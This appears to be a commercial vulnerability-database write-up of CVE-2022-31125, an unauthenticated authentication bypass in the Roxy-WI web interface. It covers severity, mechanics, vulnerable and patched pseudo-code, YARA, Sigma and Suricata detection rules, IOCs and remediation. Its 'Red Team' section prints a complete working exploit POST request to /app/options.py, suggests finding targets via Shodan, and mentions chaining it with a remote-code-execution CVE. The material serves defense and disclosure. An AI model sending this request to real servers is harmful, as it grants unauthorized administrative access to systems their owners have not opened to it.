CVE-2022-31125
Executive Summary
CVE-2022-31125 is a critical authentication bypass vulnerability in Roxy-WI, an open-source web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. A remote, unauthenticated attacker can send a specially crafted HTTP POST request to the /app/options.py endpoint to bypass authentication and gain access to admin functionality. The vulnerability affects all versions prior to 6.1.1.0. The CVSS score is 10.0 (Critical), and a public proof-of-concept (PoC) exploit is available. No known workarounds exist; upgrading to version 6.1.1.0 or later is the only remediation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Roxy-WI is a Python-based application distributed via GitHub. The vulnerability is in the application's own authentication logic, not in a third-party package. However, users should verify the integrity of their Roxy-WI installation and ensure no malicious modifications have been made.
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
This vulnerability allows complete compromise of the Roxy-WI server, including full administrative access, data exfiltration, and potential lateral movement within the network.
Deep Dive & Mechanics
The vulnerability resides in the authentication mechanism of Roxy-WI. The application fails to properly validate session tokens or user credentials when processing requests to certain endpoints, specifically /app/options.py. By sending a POST request with the alert_consumer=notNull parameter and a valid serv parameter (e.g., roxy-wi.access.log), the attacker can bypass the login page and directly access administrative functions. The server does not check for a valid session cookie or authentication header, allowing unauthenticated access to backend logic.
The exploit works because the application's routing logic does not enforce authentication for the /app/options.py endpoint. The alert_consumer parameter triggers a code path that assumes the user is already authenticated, leading to a complete bypass.
Vulnerable vs. Patched Code
Vulnerable Code (pre-6.1.1.0):
The /app/options.py endpoint lacks an authentication check. The following pseudo-code illustrates the flaw:
# Vulnerable: No authentication check
@app.route('/app/options.py', methods=['POST'])
def options():
# Directly processes request without verifying session
serv = request.form.get('serv')
# ... process log data
Patched Code (6.1.1.0+): The patched version adds an authentication check before processing the request:
# Patched: Authentication check added
@app.route('/app/options.py', methods=['POST'])
def options():
if not is_authenticated():
return redirect('/app/login.py')
serv = request.form.get('serv')
# ... process log data
The exact patch details are not publicly available, but the fix involves adding session validation to all admin endpoints.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running Roxy-WI version <= 6.1.1.0
- Network access to the Roxy-WI web interface
Exploit Steps:
- Identify the target Roxy-WI instance (e.g., via Shodan or manual discovery).
- Send the following HTTP POST request to bypass authentication:
POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 105
Origin: https://192.168.56.114
Dnt: 1
Referer: https://192.168.56.114/app/login.py
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
alert_consumer=notNull&serv=roxy-wi.access.log&rows1=10&grep=&exgrep=&hour=00&minut=00&hour1=23&minut1=45
- The server will respond with administrative data, confirming the bypass.
- From here, the attacker can chain this with other vulnerabilities (e.g., CVE-2022-31137 for RCE) to gain full control.
Lab Setup:
- Install Roxy-WI 6.1.0.0 on an Ubuntu 22.04 VM.
- Use Burp Suite or cURL to send the exploit request.
- Monitor the response for admin-level access.
Blue Team
Detection:
- Monitor for POST requests to
/app/options.pywithout a valid session cookie. - Look for the
alert_consumer=notNullparameter in HTTP requests. - Alert on any access to
/app/options.pyfrom unauthenticated IPs.
Hunting:
- Search web server logs for requests to
/app/options.pywithalert_consumerparameter. - Correlate with failed login attempts or unusual source IPs.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/app/options.pywithalert_consumer=notNull - Referer header pointing to
/app/login.pybut no session cookie - Unusual
servparameter values (e.g.,roxy-wi.access.log)
- HTTP POST requests to
File IOCs:
- Modified
/app/options.pyfile (if attacker has RCE) - Suspicious log entries in
/var/log/roxy-wi/
- Modified
System IOCs:
- Unexpected processes or services running as the Roxy-WI user
- Outbound connections from the Roxy-WI server to unknown IPs
Detection Engineering
YARA Rule
rule CVE_2022_31125_Roxy_WI_Auth_Bypass {
meta:
description = "Detects HTTP requests exploiting CVE-2022-31125 Roxy-WI authentication bypass"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-31125"
strings:
$s1 = "POST /app/options.py" ascii nocase
$s2 = "alert_consumer=notNull" ascii nocase
$s3 = "serv=" ascii nocase
condition:
all of them
}
Sigma Rule
title: Roxy-WI Authentication Bypass via /app/options.py
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to /app/options.py with alert_consumer parameter
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2022-31125
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/app/options.py'
cs-uri-query|contains: 'alert_consumer=notNull'
condition: selection
falsepositives:
- Legitimate admin activity (rare)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2022-31125 Roxy-WI Authentication Bypass"; flow:to_server,established; content:"POST"; http_method; content:"/app/options.py"; http_uri; content:"alert_consumer=notNull"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Roxy-WI to version 6.1.1.0 or later.
- If upgrade is not possible, restrict network access to the Roxy-WI web interface using a firewall or VPN.
- Implement a Web Application Firewall (WAF) rule to block requests to
/app/options.pywithalert_consumer=notNull.
Long-term Measures:
- Conduct a security audit of all Roxy-WI endpoints for authentication checks.
- Implement multi-factor authentication (MFA) for admin access.
- Monitor for any signs of compromise using the provided IOCs and detection rules.
Valters IT
{/* [Security Hash: E89D77695F1C470F4C5305DA] */}